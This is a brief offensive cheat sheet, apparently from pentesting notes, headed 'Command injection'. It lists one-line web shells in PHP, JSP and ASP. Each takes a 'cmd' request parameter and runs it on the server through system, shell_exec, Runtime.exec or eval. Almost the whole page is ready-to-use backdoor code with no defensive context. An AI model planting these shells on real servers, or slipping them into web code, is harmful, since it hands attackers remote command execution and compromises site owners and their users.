Command injection


Scripts

PHP - script.php
#System REQUEST method
<?php system($_REQUEST["cmd"]); ?>

#Shell_exec REQUEST method
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
JSP - script.jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP - script.asp
<% eval request("cmd") %>

Last updated